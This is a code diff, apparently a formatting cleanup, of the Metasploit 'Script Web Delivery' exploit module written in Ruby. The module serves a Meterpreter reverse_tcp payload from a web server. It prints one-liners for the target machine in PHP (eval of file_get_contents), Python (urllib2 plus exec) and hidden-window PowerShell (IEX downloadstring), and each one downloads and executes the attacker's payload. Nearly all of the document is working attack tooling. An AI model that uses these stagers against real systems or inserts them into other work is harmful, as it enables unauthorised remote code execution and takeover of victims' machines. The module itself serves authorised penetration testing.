@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
17
'Name' => 'Script Web Delivery' ,
18
- 'Description' => %q{
18
+ 'Description' => %q(
19
19
This module quickly fires up a web server that serves a payload.
20
20
The provided command will start the specified scripting language interpreter and then download and execute the
21
21
payload. The main purpose of this module is to quickly establish a session on a target
@@ -25,26 +25,26 @@ def initialize(info = {})
25
25
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
26
26
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
27
27
x86 payloads on x64 machines.
28
- } ,
28
+ ) ,
29
29
'License' => MSF_LICENSE ,
30
30
'Author' =>
31
31
[
32
32
'Andrew Smith "jakx" <[email protected] >' ,
33
33
'Ben Campbell' ,
34
- 'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
34
+ 'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
35
35
] ,
36
36
'DefaultOptions' =>
37
37
{
38
38
'Payload' => 'python/meterpreter/reverse_tcp'
39
39
} ,
40
40
'References' =>
41
41
[
42
- [ 'URL' , 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
43
- [ 'URL' , 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
44
- [ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
45
- [ 'URL' , 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ]
42
+ [ 'URL' , 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
43
+ [ 'URL' , 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
44
+ [ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
45
+ [ 'URL' , 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ]
46
46
] ,
47
- 'Platform' => %w{ python php win } ,
47
+ 'Platform' => %w( python php win ) ,
48
48
'Targets' =>
49
49
[
50
50
[ 'Python' , {
@@ -62,38 +62,38 @@ def initialize(info = {})
62
62
[ 'PSH_x64' , {
63
63
'Platform' => 'win' ,
64
64
'Arch' => ARCH_X86_64
65
- } ] ,
65
+ } ]
66
66
] ,
67
67
'DefaultTarget' => 0 ,
68
68
'DisclosureDate' => 'Jul 19 2013'
69
69
) )
70
70
end
71
71
72
- def on_request_uri ( cli , request )
73
- print_status ( " Delivering Payload" )
74
- if ( target . name . include? " PSH" )
72
+ def on_request_uri ( cli , _request )
73
+ print_status ( ' Delivering Payload' )
74
+ if target . name . include? ' PSH'
75
75
data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
76
76
else
77
- data = %Q| #{ payload . encoded } |
77
+ data = %Q( #{ payload . encoded } )
78
78
end
79
- send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
79
+ send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
80
80
end
81
81
82
82
def primer
83
- url = get_uri ( )
84
- print_status ( " Run the following command on the target machine:" )
83
+ url = get_uri
84
+ print_status ( ' Run the following command on the target machine:' )
85
85
case target . name
86
- when " PHP"
86
+ when ' PHP'
87
87
print_line ( "php -d allow_url_fopen=true -r \" eval(file_get_contents('#{ url } '));\" " )
88
- when " Python"
88
+ when ' Python'
89
89
print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
90
- when " PSH_x86" , " PSH_x64"
90
+ when ' PSH_x86' , ' PSH_x64'
91
91
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
92
- print_line generate_psh_command_line ( {
93
- :noprofile => true ,
94
- :windowstyle => 'hidden' ,
95
- :command => download_and_run
96
- } )
92
+ print_line generate_psh_command_line (
93
+ noprofile : true ,
94
+ windowstyle : 'hidden' ,
95
+ command : download_and_run
96
+ )
97
97
end
98
98
end
99
99
end
0 commit comments